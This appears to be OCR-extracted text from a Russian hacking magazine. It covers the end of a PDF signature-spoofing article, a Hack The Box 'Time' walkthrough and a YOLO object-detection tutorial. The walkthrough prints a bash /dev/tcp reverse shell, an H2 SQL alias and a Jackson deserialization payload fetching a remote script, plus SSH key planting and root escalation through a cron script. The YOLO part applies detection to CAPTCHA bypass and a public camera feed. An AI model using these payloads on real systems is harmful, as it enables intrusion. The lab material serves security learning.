>> 
endobj 
xref 
0 8 
0000000000 65535 f 
0000000242 00000 n 
0000000430 00000 n 
0000000009 00000 n 
0000000087 00000 n 
0000000329 00000 n 
0000000534 00000 n 
0000000643 00000 n 
trailer 
<<
/Size 8 
/Root 7 0 R 
/Info 6 0 R 
>> 
startxref 
746 
%%EOF 

Те перь  встав ляем  кар тинку  поверх  над писи,  нас тра иваем  нашу  под пись
и под писыва ем документ. Откры ваем его в Notepad++ и находим   с таб‐ 
лицей для нашей кар тинки. Меня ем необ ходимые зна чения   на  , делая их
скры тыми.

xref
n f

За мена таб лицы на скры тие объ екта

Сра зу ска жу, что мож но так же спря тать кар тинку, обоз начив ее как метадан‐ 
ные. Их  обновле ние  прог рамма  не  будет  счи тать  вме шатель ством  в  содер‐ 
жимое  докумен та.  Син таксис  метадан ных  PDF  (ста рого  образца,  но  он
работа ет до сих пор, зна чит, вер сион ность фор матов под держи вает ся) мож‐ 
но изу чить, к при меру,  . Заг ружа ем файл, меня ем метадан ные и видим их
в  разоб ранном  виде.  Далее  методом  проб  и  оши бок  пыта емся  под кинуть
изме нен ные дан ные в файл. Дол жно получить ся при мер но сле дующее:

тут

stream 
<?xpacket begin="п»ї" id="W5M0MpCehiHzreSzNTczkc9d"?>

   <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4‐c006 
80.159825, 2016/09/16‐03:31:08        ">
    <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22‐rdf‐syntax‐ns#">

      <rdf:Description rdf:about=""
           xmlns:xmp="http://ns.adobe.com/xap/1.0/"
           xmlns:dc="http://purl.org/dc/elements/1.1/"
           xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
        <xmp:ModifyDate>2019‐08‐07T13:48:36+02:00</xmp:ModifyDate>
        <xmp:MetadataDate>2019‐08‐07T13:48:36+02:00</xmp:
MetadataDate>
        <xmp:CreateDate>2019‐08‐07T11:14:22+02:00</xmp:CreateDate>
        <dc:format>application/pdf</dc:format>
        <xmpMM:DocumentID>uuid:d24ecc88‐2a52‐0b43‐9272‐3abe5e065c85
</xmpMM:DocumentID>
        <xmpMM:InstanceID>uuid:9d3cd24f‐99fe‐0849‐a303‐c9cfac889c31
</xmpMM:InstanceID>
     </rdf:Description>
  </rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
endstream 

Пос ле  про делан ной  работы  сох раня ем  файл  и  зак рыва ем  редак тор.  Наде‐ 
юсь, боль ше он нам не понадо бит ся. Итак, мы под писали файл с фото, а при
откры тии  докумен та  видим  абсо лют но  дру гой  кон тент.  Это  доказы вает,  что
уяз вимость име ет мес то быть, одна ко работа ет она далеко не вез де. В раз‐ 
ных  вер сиях  раз ных  прог рамм  для  прос мотра  PDF  (кро ме  бра узе ров)
модифи циро ван ный файл может отоб ражать ся по‐раз ному.

КАК ЗАЩИТИТЬСЯ
Ком пания Adobe испра вила ошиб ки   и    в 

, выпущен ном 12 мая 2020 года. Прог рамма Foxit Reader тоже выда‐ 
ет  пре дуп режде ние  о  безопас ности  при  попыт ке  открыть  изме нен ный
документ с циф ровой под писью.

CVE‐2020‐9592 CVE‐2020‐9596 об‐ 
новле нии

Ошиб ки под писи

Бо лее  ста рые  вер сии  ПО,  к  при меру  Adobe  Acrobat  Reader  DC  v
2019.021.20061, Foxit Reader 3.4.0.1012 и LibreOffice Draw до 6‐й вер сии, уяз‐ 
вимы для такого рода атак. Наибо лее акту аль ная на дан ный момент защита —
не исполь зовать прог рам мное обес печение уста рев ших вер сий. Что каса ется
любите лей пос мотреть PDF через бра узер, то ни один бра узер не про веря ет
под пись в докумен те, а посему для них этот трюк будет работать еще очень
дол го.

ЗАКЛЮЧЕНИЕ
Это не пер вый слу чай, ког да безопас ность PDF‐фай лов попада ет в поле зре‐ 
ния спе циалис тов по информа цион ной безопас ности. Иссле дова тели ранее

  методы  извле чения  содер жимого  PDF‐фай ла,
защищен ного паролем. Для это го исполь зовались пре иму щес тва час тично го
шиф рования, изна чаль но под держи ваемо го спе цифи каци ей PDF, что бы уда‐ 
лен но извлечь содер жимое фай ла пос ле того, как его откро ют. И это далеко
не единс твен ная уяз вимость: фор мат PDF эво люци они рует, а зна чит, впе реди
нас ждет еще мно го уди витель ных откры тий.

про демонс три рова ли

mailto:vegelin47@mail.ru
https://www.iso.org/standard/63534.html
https://ru.wikipedia.org/wiki/PostScript#:~:text=PostScript%20(%D0%9F%D0%BE%D1%81%D1%82%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82)%20%E2%80%94%20%D1%8F%D0%B7%D1%8B%D0%BA%20%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D1%8F,%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D1%8B%D0%B9%20%D0%B2%20%D0%BD%D0%B0%D1%81%D1%82%D0%BE%D0%BB%D1%8C%D0%BD%D1%8B%D1%85%20%D0%B8%D0%B7%D0%B4%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D1%81%D0%BA%D0%B8%D1%85%20%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0%D1%85.
https://convertio.co/ru/pdf-ps/
https://www.researchgate.net/publication/51969226_Hiding_Malicious_Content_in_PDF_Documents
https://www.iso.org/ru/standard/57229.html
https://thehackernews.com/2021/02/shadow-attacks-let-attackers-replace.html
https://sourceforge.net/projects/imdisk-toolkit/
https://www.cryptopro.ru/products/csp/downloads#latest_csp50r2rc
https://sourceforge.net/projects/imdisk-toolkit/
https://get.adobe.com/ru/reader/completion/adm/
https://www.cryptopro.ru/products/other/pdf
https://pdfcandy.com/ru/edit-pdf-meta.html
https://nvd.nist.gov/vuln/detail/CVE-2020-9592
https://nvd.nist.gov/vuln/detail/CVE-2020-9596
https://helpx.adobe.com/security/products/acrobat/apsb20-24.html
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ЗАХВАТЫВАЕМ МАШИНУ С LINUX
ЧЕРЕЗ УЯЗВИМОСТЬ
В ПАРСЕРЕ JSON
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ВЗЛОМ

Се год ня  мы  раз берем ся  с  уяз вимостью
в  пар сере  Jackson  Databind,  а  затем  зай‐ 
мем ся  отсле жива нием  новых  про цес сов
в Linux, что бы най ти пути повысить при виле‐ 
гии.  Поможет  нам  в  этом  машина  Time
с пло щад ки  . Ее уро вень слож‐ 
ности заяв лен как Medium.

Hack The Box

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Ад рес  машины —  10.10.10.214,  я  всег да  добав ляю  их  в  ,  что бы
обра щать ся по име ни.

/etc/hosts

10.10.10.214    time.htb

Ска ниру ем пор ты при помощи Nmap. Коман да ниже про ведет ска ниро вание
в два эта па — сна чала общее, затем по най ден ным пор там — со скрип тами.

/bin/bash #!
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )

 nmap ‐p$ports ‐A $1

Ре зуль тат работы скрип та

На ходим  два  откры тых  пор та:  22  (служ ба  SSH)  и  80  (веб‐сер вер  Apache).
На SSH нам пока что ловить нечего, поэто му сра зу отправ ляем ся «про бивать»
веб.

ТОЧКА ВХОДА
И на пер вой же стра нице нас встре чает поле вво да с под писью ONLINE JSON
BEAUTIFIER & VALIDATOR, из  чего дела ем вывод,  что  сайт  пар сит  и  выводит
текст в фор мате JSON.

Глав ная стра ница сай та http://time.htb

При  поис ке  точ ки  вхо да  луч ше  тес тировать  все  поля  вво да  на  обра бот ку
«нежела тель ных»  сим волов.  Они  могут  выпол нять  роль  слу жеб ных  для  той
или  иной  тех нологии,  и  поэто му,  если  прог раммист  не  позабо тил ся  о  спе‐ 
циаль ной обра бот ке, они могут вызывать ошиб ки или дру гие сбои в при ложе‐ 
нии. Я про вел неболь шой тест — скор мил одну и ту же строч ку валида торам
раз ных  типов.  Ответ  получил ся  раз ным,  а  это  зна чит,  что  обра бот ка  поль‐ 
зователь ско го вво да про исхо дит по‐раз ному.

Ре акция двух типов валида торов на стро ку qwe

Во вто ром слу чае мы получа ем пол ноцен ный текст ошиб ки:

Validation  failed:  Unhandled  Java  exception:  com.fasterxml.jackson.core.
JsonParseException:  Unrecognized  token  'qwe':  was  expecting  ('true',
'false' or 'null')

Ско рее, это свя зано с тем, что при ложе ние еще не доведе но до ума, поэто му
и при сутс тву ет помет ка Beta. Имен но сюда нам и нуж но давить. Так как перед
нами  пар сер  JSON,  давай  пос мотрим,  как  он  реаги рует  на  слу жеб ные  пос‐ 
ледова тель нос ти‐типы    и  .  В  ответ  на  такие  зап росы  мы  тоже  получим
раз ные ошиб ки для раз ных пос ледова тель нос тей.

[] {}

Ре акция валида тора

Validation  failed:  Unhandled  Java  exception:  com.fasterxml.jackson.data-
bind.exc. MismatchedInputException: Unexpected token (START_OBJECT),
expected  START_ARRAY:  need  JSON  Array  to  contain  As.WRAPPER_AR-
RAY type information for class java.lang.Object

Validation  failed:  Unhandled  Java  exception:  com.fasterxml.jackson.data-
bind.exc.InvalidTypeIdException: Could not resolve type id 'qwe' as a sub-
type of [simple type, class java.lang.Object]: no such class found

Ана лиз  оши бок  полезен  тем,  что  помога ет  опре делить  исполь зуемую  тех‐ 
нологию.  Это  рас ширя ет  наше  пред став ление  о  том,  как  внут ри  устро ено
при ложе ние.  В  пер вом  и  во  вто ром  слу чае  исклю чение  генери рует  Java,
а  пакет  называ ется  .  Отлично,  мы
опре дели ли,  что  там  внут ри!  Оста лось  поис кать  в  интерне те  уяз вимос ти,
которые уже наш ли в этой прог рамме.

com.fasterxml.jackson.databind.exc

Для  популяр ных  тех нологий  есть  хорошо  докумен тирован ные  экс пло иты,
к тому же не в одном вари анте. В нашем слу чае дос таточ но зап роса 

, и Google находит уяз вимость, которая может пре‐ 
дос тавить  уда лен ное  выпол нение  кода  (RCE).  Так же  получа ем  ее  иден‐ 
тифика тор  (2019‐12384)  в  базе  дан ных  обще извес тных  уяз вимос тей
информа цион ной безопас ности (CVE).

jackson
databind vulnerability

По иск задоку мен тирован ных уяз вимос тей в тех нологии Jackson Databind

Для уяз вимос тей с CVE на GitHub нес ложно най ти экс пло ит. Пов торя ем зап‐ 
рос  и  ищем  готовый  код.    ведет  нас  к  пол ному  опи санию
про цес са экс плу ата ции.

Пер вая же  ссыл ка

По иск экс пло итов для CVE‐2019‐12384

ЗАКРЕПЛЕНИЕ
Выб ранная  нами  уяз вимость  зак люча ется  в  том,  что  зло умыш ленник  может
исполь зовать десери али зацию для уда лен ного выпол нения кода. Дело в том,
что  внут ри  пакета  рекур сивно  вызыва ются  все  сет теры  с  клю чом,  содер‐ 
жащим ся  внут ри  подобъ екта,  а  имен но  .  Пос ле  это го
эта па пол ный объ ект сно ва сери али зует ся в объ ект JSON. При этом все поля
сери али зуют ся нап рямую, если гет тер не опре делен, или через явный гет тер.
Ког да  вызыва ется  ,  соз дает ся  база  дан ных.  Но мы можем
соз дать соеди нение с уда лен ной базой дан ных.

setUrl(String  url)

getConnection()

Что бы добить ся пол ного выпол нения кода в кон тек сте при ложе ния, нуж но
исполь зовать  воз можность  заг рузки  драй вера  H2  JDBC.  H2  —  это  свер‐ 
хбыстрая база дан ных SQL, обыч но исполь зуемая в качес тве замены для пол‐ 
нофун кци ональ ных  СУБД  (таких  как  PostgreSQL,  MS  SQL,  MySQL  или  Ora‐
cleDB). У H2 есть воз можность запус кать сце нарии SQL из URL‐адре са JDBC.
Это не поз воля ет зло умыш ленни ку выпол нить код Java внут ри кон тек ста JVM,
но  у  H2  есть  воз можность  ука зывать  нас тра иваемые  псев донимы,  содер‐ 
жащие код Java. Имен но это и поз волит выпол нить уда лен ный код.

А  теперь перей дем  к  экс плу ата ции. В сце нарии SQL,  который будет  заг‐ 
ружать ся с нашего сер вера, мы выпол ним обратный шелл и получим дос туп
к машине.

& /dev/tcp/[ip]]/[port] 0>&1 bash ‐i >

Сле дует ука зать лишь адрес сво его хос та и порт для обратно го под клю чения.
При  этом  на  локаль ном  хос те  запус каем  лис тенер.  Что бы  обес печить  себе
ком фор тную работу (хотя бы ведение исто рии команд), советую исполь зовать
обо лоч ку rlwrap.

apt install rlwrap
rlwrap nc ‐lvp [port]

Го товый  SQL‐сце нарий,  выпол няющий  реверс‐шелл,  мож но  взять  из  опи‐ 
сания к экс пло иту (не забудь ука зать свои дан ные):

                 
 

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java
.io.IOException {

                String[] command = {"bash", "‐c", cmd};
              java.util.Scanner s = new java.util.Scanner(Runtime.

getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
                   return s.hasNext() ? s.next() : ""; }

$$;
 CALL SHELLEXEC('bash ‐i >& /dev/tcp/10.10.14.73/4321 0>&1')

Пос ле сох ранения сце нария в файл в текущей дирек тории запус тим прос той
HTTP‐сер вер с помощью Python 3.

python3 ‐m http.server 8000

Приш ло вре мя отпра вить наг рузку через веб‐фор му. Идея в том, что бы заг‐ 
рузить драй вер H2 JDBC и получить уда лен ный сце нарий SQL.

["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:
h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.
14.73:8000/inject.sql'"}]

От прав ка наг рузки через веб‐фор му

Пос ле отправ ки в  кон соли,  где запущен веб‐сер вер на Python 3, мы уви дим
лог,  сви детель ству ющий  о  заг рузке  на  уда лен ный  хост  SQL‐сце нария.  А  в
кон соли  лис тенера  получа ем  обратную  коман дную  обо лоч ку  в  кон тек сте
поль зовате ля  .pericles

Лог локаль ного веб‐сер вера

По луче ние реверс‐шел ла

Ра ботать из это го шел ла все же не очень удоб но, поэто му сде лаем себе дос‐ 
туп  по  SSH.  Коман дой    генери руем  пару  клю чей  на  локаль ном
хос те.  Далее  —  запишем    в  фай ле 
на уда лен ном хос те. Под клю чаем ся и забира ем флаг поль зовате ля.

ssh‐keygen
id_rsa.pub ~/.ssh/authorized_keys

ssh ‐i id_rsa pericles@time.htb

За пись SSH‐клю ча на сер вер

Флаг поль зовате ля

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Как прод вигать ся даль ше? В этом помога ют   — Privilege Esca‐
lation  Awesome  Scripts  SUITE.  Они  есть  для  всех  сис тем,  ска чива ем  себе
скрипт для Linux.

скрип ты PEASS

wget https://github.com/carlospolop/
privilege‐escalation‐awesome‐scripts‐suite/blob/master/linPEAS/
linpeas.sh

Те перь  нуж но  заг рузить  его  на  уда лен ный  хост.  В  дирек тории  со  скрип том
на локаль ной машине запус тим с помощью   прос той веб‐сер вер. Пос‐ 
ле выпол нения такой коман ды веб‐сер вер будет прос лушивать порт 8000.

python

python3 ‐m http.server

На целевой машине с помощью все того же   заг ружа ем скрипт с локаль‐ 
ного  хос та  на  уда лен ный.  Пос ле  заг рузки  необ ходимо  дать  фай лу  пра во
на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

В  выводе  получим  серь езный  мас сив  информа ции.  Нуж но  ее  вни матель но
изу чить и выб рать важ ную. В нашем слу чае нашел ся скрипт на Bash с инте‐ 
рес ным наз вани ем   (в раз деле о бэкапах он, кста ти, тоже будет
упо мянут).

time_backup

Об наружен ные скрип ты

Фай лы, в наз вании которых есть приз наки бэкапа

Мы заш ли в сис тему от име ни вла дель ца это го фай ла, а зна чит, можем внес ти
в него изме нения. Давай пос мотрим, как час то запус кает ся этот файл.

Для отсле жива ния про цес сов исполь зуем  . Заг рузим эту прог рамму
на хост тем же спо собом, что и  , а потом выпол ним. В выводе видим,
как запус кался скрипт. Самое инте рес ное — что он запус кает ся в кон тек сте
поль зовате ля с нулево го UID, а это root!

pspy64
linpeas

Скачиваем на локальный хост # 
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/
pspy64

Затем на удаленный # 
wget http://[ip_локального_хоста]:8000/pspy64
chmod +x pspy64
./pspy64

Вы вод ути литы pspy64

Зах ватить  рут  будет  лег ко:  чуть  под пра вим  скрипт  и  добавим  в  него  две
коман ды  —  пер вая  соз даст  дирек торию  ,  а  вто рая  запишет
в файл    пуб личный  ключ.  Пару  клю чей  мож но
сге нери ровать заново, а мож но исполь зовать те же, которые мы генери рова‐ 
ли для поль зовате ля.

/root/.ssh
/root/.ssh/authorized_keys

Мо дифи циро ван ный скрипт time_backup

Спус тя нес коль ко секунд, ког да скрипт сра бота ет сно ва, можем под клю чать ся
к хос ту как root и забирать флаг.

ssh ‐i id_rsa root@time.htb

Флаг поль зовате ля

Ма шина зах вачена, у нас есть флаг и пол ный кон троль над ней.

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/jas502n/CVE-2019-12384
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy
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КОДИНГ

You only  look once, или YOLO, — эффектив‐ 
ный алго ритм, который поз воля ет выделять
объ екты на изоб ражении. В этой статье мы
исполь зуем  его,  что бы  написать  на  Python
прог рамму  для  опре деле ния  чис ла  людей
в  помеще нии,  а  по  дороге  опро буем  его
в раз гадыва нии кап чи.

Ес ли ты смот рел «Тер минатор», то пом нишь кад ры из глаз T‐800: он смот рел
по сто ронам и опре делял раз ные объ екты. Тог да о такой машине мож но было
толь ко меч тать, а сегод ня ее мож но смас терить самому из готовых час тей.

Кадр из филь ма «Тер минатор»

Рас позна вание  объ ектов  сегод ня  при гож дает ся  для  решения  самых  раз ных
задач: клас сифика ции видов рас тений и живот ных, рас позна вания лиц, опре‐ 
деле ния габари тов объ ектов — и это далеко не пол ный спи сок.

КАКИЕ БЫВАЮТ АЛГОРИТМЫ
Су щес тву ет  нес коль ко  алго рит мов  обна руже ния  объ ектов  на  изоб ражени ях
и видео. Пос мотрим, что они собой пред став ляют.

, Region-Based Convolutional Neural NetworkR-CNN
Спер ва на изоб ражении с помощью алго рит ма выбороч ного поис ка выделя‐ 
ются  реги оны,  которые  пред положи тель но  содер жат  объ ект.  Далее 

 пыта ется выявить приз наки объ ектов для каж‐ 
дого из этих реги онов, пос ле чего машина опор ных век торов клас сифици рует
получен ные дан ные и сооб щает класс обна ружен ного объ екта.

свер‐ 
точная ней рон ная сеть  (CNN)

Об работ ка в режиме реаль ного вре мени: не под держи вает ся.

, Fast Region-Based Convolutional Neural NetworkFast R-CNN
Под ход ана логи чен алго рит му R‐CNN. Но вмес то того, что бы пред варитель но
выделять реги оны, мы переда ем вход ное изоб ражение в CNN для соз дания
свер точной  кар ты  приз наков,  где  затем  будет  про исхо дить  выбороч ный
поиск,  а  пред ска зание  клас са  объ ектов  выпол няет  спе циаль ный  слой
Softmax.

Об работ ка в режиме реаль ного вре мени: не под держи вает ся.

, Faster Region-Based Convolutional Neural NetworkFaster R-CNN
По доб но Fast R‐CNN, изоб ражение переда ется в CNN соз дания свер точной
кар ты приз наков, но вмес то алго рит ма выбороч ного поис ка для прог нозиро‐ 
вания пред ложений по реги онам исполь зует ся отдель ная сеть.

Об работ ка  в  режиме  реаль ного  вре мени:  под держи вает ся  при  высоких
вычис литель ных мощ ностях.

, You Only Look OnceYOLO
Изоб ражение  делит ся  на  квад ратную  сет ку.  Для  каж дой  ячей ки  сети  CNN
выводит веро ятности опре деля емо го клас са. Ячей ки, име ющие веро ятность
клас са  выше  порого вого  зна чения,  выбира ются  и  исполь зуют ся  для  опре‐ 
деле ния мес тополо жения объ екта на изоб ражении.

Об работ ка в режиме реаль ного вре мени: под держи вает ся!
Как видишь, YOLO пока что луч ший вари ант для обна руже ния и рас позна‐ 

вания обра зов. Он отли чает ся высокой ско ростью и точ ностью обна руже ния
объ ектов,  а  еще  этот  алго ритм  мож но  исполь зовать  в  про ектах  на  Android
и Raspberry Pi с помощью нет ребова тель ного  tiny‐вари анта сети, с  которым
мы с тобой сегод ня будем работать.

Tiny‐вари ант  нес коль ко  про игры вает  в  точ ности  пол ноцен ному  вари анту
сети, но и тре бует мень шей вычис литель ной мощ ности, что поз волит запус‐ 
тить  про ект,  который мы  сегод ня будем делать,  как  на  сла бом  компь юте ре,
так и, при желании, на смар тфо не.

ПИШЕМ КОД
Что бы написать лег ковес ное при ложе ние для обна руже ния объ ектов на изоб‐ 
ражении, нам с тобой понадо бят ся:

;• наз вания клас сов датасе та COCO, которые уме ет опре делять сеть YOLO
;• кон фигура ции для tiny‐вари анта сети YOLO

.• ве са для tiny‐вари анта сети YOLO

До пол нитель но уста новим биб лиоте ки OpenCV и NumPy:

pip  opencv‐python install 
pip  numpy install 

Те перь  напишем  при ложе ние,  которое  будет  находить  объ екты  на  изоб‐ 
ражении при помощи YOLO и отме чать их.

Мы  поп робу ем  обой ти  CAPTCHA  с  изоб ражени ями  гру зови ков  —  класс
truck в датасе те COCO. Допол нитель но мы пос чита ем количес тво обна ружен‐ 
ных объ ектов нуж ного нам клас са и выведем всю информа цию на экран.

Нач нем с написа ния фун кции для при мене ния YOLO. С ее помощью опре‐ 
деля ются самые веро ятные клас сы объ ектов на изоб ражении, а так же коор‐ 
динаты их гра ниц, которые поз же мы будем исполь зовать для отри сов ки.

 import cv2
     import numpy as np

 def apply_yolo_object_detection(image_to_process):
   """
   Распознавание и определение координат объектов на изображении
   :param image_to_process: исходное изображение
   :return: изображение с размеченными объектами и подписями к ним
   """
           height, width, depth = image_to_process.shape
                 
         
blob = cv2.dnn.blobFromImage(image_to_process, 1 / 255, (608, 608

), (0, 0, 0), swapRB=True, crop=False)
   net.setInput(blob)
       outs = net.forward(out_layers)
                   class_indexes, class_scores, boxes = ([] for i in range(3))
       objects_count = 0

   # Запуск поиска объектов на изображении
         for out in outs:

            for obj in out:
              scores = obj[5:]

              class_index = np.argmax(scores)
              class_score = scores[class_index]

                if class_score > 0:
                      center_x = int(obj[0] * width)
                      center_y = int(obj[1] * height)
                      obj_width = int(obj[2] * width)
                      obj_height = int(obj[3] * height)

                 
       

               box = [center_x ‐ obj_width // 2, center_y ‐
obj_height // 2, obj_width, obj_height]
               boxes.append(box)
               class_indexes.append(class_index)
               class_scores.append(float(class_score))

   # Выборка
             chosen_boxes = cv2.dnn.NMSBoxes(boxes, class_scores, 0.0, 0.4)
         for box_index in chosen_boxes:

          box_index = box_index[0]
          box = boxes[box_index]

          class_index = class_indexes[box_index]

       # Для отладки рисуем объекты, входящие в искомые классы
            if classes[class_index] in classes_to_look_for:

              objects_count += 1
   

   
           image_to_process = draw_object_bounding_box(
image_to_process, class_index, box)

         final_image = draw_object_count(image_to_process, objects_count)
     return final_image

Да лее добавим фун кцию, которая поз волит нам обвести най ден ные на изоб‐ 
ражении объ екты с помощью коор динат гра ниц, которые мы получи ли в 

.
ap‐

ply_yolo_object_detection

     def draw_object_bounding_box(image_to_process, index, box):
   """
   Рисование границ объекта с подписями
   :param image_to_process: исходное изображение
   :param index: индекс определенного с помощью YOLO класса объекта
   :param box: координаты области вокруг объекта
   :return: изображение с отмеченными объектами
   """
             x, y, w, h = box
         start = (x, y)
                 end = (x + w, y + h)
           color = (0, 255, 0)
       width = 2
               final_image = cv2.rectangle(image_to_process, start, end, color,
width)

             start = (x, y ‐ 10)
       font_size = 1
       font = cv2.FONT_HERSHEY_SIMPLEX
       width = 2
       text = classes[index]
               

     
final_image = cv2.putText(final_image, text, start, font,

font_size, color, width, cv2.LINE_AA)

     return final_image

До бавим  фун кцию,  которая  выведет  количес тво  рас познан ных  объ ектов
на изоб ражении.

   def draw_object_count(image_to_process, objects_count):
   """
   Подпись количества найденных объектов на изображении
   :param image_to_process: исходное изображение
   :param objects_count: количество объектов искомого класса
   :return: изображение с подписанным количеством найденных объектов
   """

         start = (45, 150)
       font_size = 1.5
       font = cv2.FONT_HERSHEY_SIMPLEX
       width = 3
           text = "Objects found: " + str(objects_count)

   # Вывод текста с обводкой (чтобы было видно при разном освещении 
картинки)
           white_color = (255, 255, 255)
           black_outline_color = (0, 0, 0)
               

         
final_image = cv2.putText(image_to_process, text, start, font,

font_size, black_outline_color, width * 3, cv2.LINE_AA)
               

     
final_image = cv2.putText(final_image, text, start, font,

font_size, white_color, width, cv2.LINE_AA)

     return final_image

На пишем  фун кцию,  которая  будет  ана лизи ровать  изоб ражение  и  выводить
на экран резуль тат работы написан ных нами алго рит мов.

 def start_image_object_detection():
   """
   Анализ изображения
   """
   try:
       # Применение методов распознавания объектов на изображении 
от YOLO

          image = cv2.imread("assets/truck_captcha.png")
          image = apply_yolo_object_detection(image)

       # Вывод обработанного изображения на экран
        cv2.imshow("Image", image)

        if cv2.waitKey(0):
           cv2.destroyAllWindows()

     except KeyboardInterrupt:
       pass

А теперь мы соз дадим фун кцию  , в  которой нас тро им нашу сеть и поп‐ 
робу ем запус тить ее.

main

     if __name__ == '__main__':

   # Загрузка весов YOLO из файлов и настройка сети
         net = cv2.dnn.readNetFromDarknet("yolov4‐tiny.cfg", "yolov4‐tiny.
weights")
       layer_names = net.getLayerNames()
       out_layers_indexes = net.getUnconnectedOutLayers()
                   out_layers = [layer_names[index[0] ‐ 1] for index in
out_layers_indexes]

   # Загрузка из файла классов объектов, которые умеет обнаруживать 
YOLO
         with open("coco.names.txt") as file:

          classes = file.read().split("\n")

   # Определение классов, которые будут приоритетными для поиска на 
изображении
   # Названия находятся в файле coco.names.txt
   # В данном случае определяется грузовик для прохождения CAPTCHA
       classes_to_look_for = ["truck"]

   start_image_object_detection()

Да вай пос мотрим, как алго ритм YOLO спра вил ся с тес том прос той CAPTCHA.

Ис ходная CAPTCHA

Ре зуль тат при мене ния YOLO

Не кото рая пог решность все же есть, но два из трех гру зови ков алго ритм выб‐ 
рал пра виль но.

Ка жет ся, пока что вос ста ние машин нам не гро зит! :)

МОДИФИЦИРУЕМ ПРИЛОЖЕНИЕ
Те перь мы с тобой прис тупим к решению прак тичес кой задачи, в которой нам
будет важ но кон тро лиро вать количес тво человек в помеще нии. Тем более что
во  вре мя огра ничи тель ных мер,  свя зан ных  с COVID‐19,  это  не  прос то инте‐ 
рес но, но еще и акту аль но.

Что бы  задача  была  на  «живом  при мере»,  мы  вос поль зуем ся  пуб личной
камерой, уста нов ленной в одном из бар бершо пов Лон дона. Из‐за его скром‐ 
ной пло щади находить ся внут ри может не боль ше десяти человек.

Что бы  решить  эту  задачу,  дос таточ но  добавить  фун кцию,  которая  будет
обра баты вать  видео  по  кад рам  и  выводить  резуль тат  обра бот ки  на  экран.
Что бы не наг ружать устрой ство обра бот кой каж дого кад ра, обновле ние экра‐ 
на будет про исхо дить по нажатию любой кла виши. На мощ ных  компь юте рах
это необя затель но.

 def start_video_object_detection():
   """
   Захват и анализ видео в режиме реального времени
   """
     while True:
       try:
           # Захват картинки с видео

              video_camera_capture = cv2.VideoCapture("http://81.130.
136.82:82/mjpg/video.mjpg")

            while video_camera_capture.isOpened():
                    ret, frame = video_camera_capture.read()

                  if not ret:
                   break

               # Применение методов распознавания объектов на кадре 
видео от YOLO

                  frame = apply_yolo_object_detection(frame)

               # Вывод обработанного изображения на экран с 
уменьшением размера окна

                              frame = cv2.resize(frame, (1920 // 2, 1080 // 2))
                cv2.imshow("Video Capture", frame)

                if cv2.waitKey(0):
                   break

           video_camera_capture.release()
           cv2.destroyAllWindows()

        except KeyboardInterrupt:
           pass

Так же  нам  пот ребу ется  нем ного  модифи циро вать  фун кцию  ,  что бы
теперь запус кать обра бот ку видео вмес то обра бот ки изоб ражения.

main

     if __name__ == '__main__':

   # Загрузка весов YOLO из файлов и настройка сети
         net = cv2.dnn.readNetFromDarknet("yolov4‐tiny.cfg", "yolov4‐tiny.
weights")
       layer_names = net.getLayerNames()
       out_layers_indexes = net.getUnconnectedOutLayers()
                   out_layers = [layer_names[index[0] ‐ 1] for index in
out_layers_indexes]

   # Загрузка из файла классов объектов, которые умеет обнаруживать 
YOLO
         with open("coco.names.txt") as file:

          classes = file.read().split("\n")

   # Определение классов, которые будут приоритетными для поиска на 
изображении
   # Названия находятся в файле coco.names.txt
   # В данном случае определяется грузовик для прохождения CAPTCHA 
и человек для анализа видео
         classes_to_look_for = ["truck", "person"]

   start_video_object_detection()

По луча ем резуль тат: шесть из семи человек были рас позна ны.

Ре зуль тат обра бот ки видео

Мож но добавить и дру гие полез ные фун кции: нап ример, отправ лять на поч ту
или  в  Telegram  сооб щение  о  том,  что  в  бар бершоп  набилось  мно гова то
людей.

ИТОГИ
Ал горит мы  обна руже ния  объ ектов  не  дают  стоп роцен тной  точ ности,  но  они
все рав но эффектив ны и спо соб ны работать гораз до быс трее любого из нас.

Воз можно, ты спро сишь, почему мы не сле дим, что бы соб людалось рас‐ 
сто яние  в  пол тора  мет ра.  В  реаль ной  жиз ни  его  будет  слож но  про верять:
нап ример, ког да перед нами пара дру зей, семья с ребен ком или про исхо дит
дей ствие, невоз можное без близ кого кон такта, а в парик махер ской это слу‐ 
чает ся  пос тоян но.  Кро ме  того,  если  камера  будет  сто ять  под  неудач ным
углом, слож ность изме рения рас сто яния воз раста ет.

Здесь  пот ребу ются  алго рит мы,  опре деля ющие  в  пер спек тиве  габари ты
объ ектов  и  работа ющие  с  трех мерным  прос транс твом.  Такие  исполь зуют ся
для опре деле ния  тран спортных средств в само управля емых авто моби лях —

  или 
.

Aggregate  View  Object  Detection YOLO  3D  Oriented  Object  Bounding  Box
Detection

Ис ходни ки  про екта,  с  которы ми  ты  смо жешь  порабо тать  над  решени ем
подоб ных задач, смот ри в  .мо ем репози тории на GitHub

mailto:enji.rouz@yandex.ru
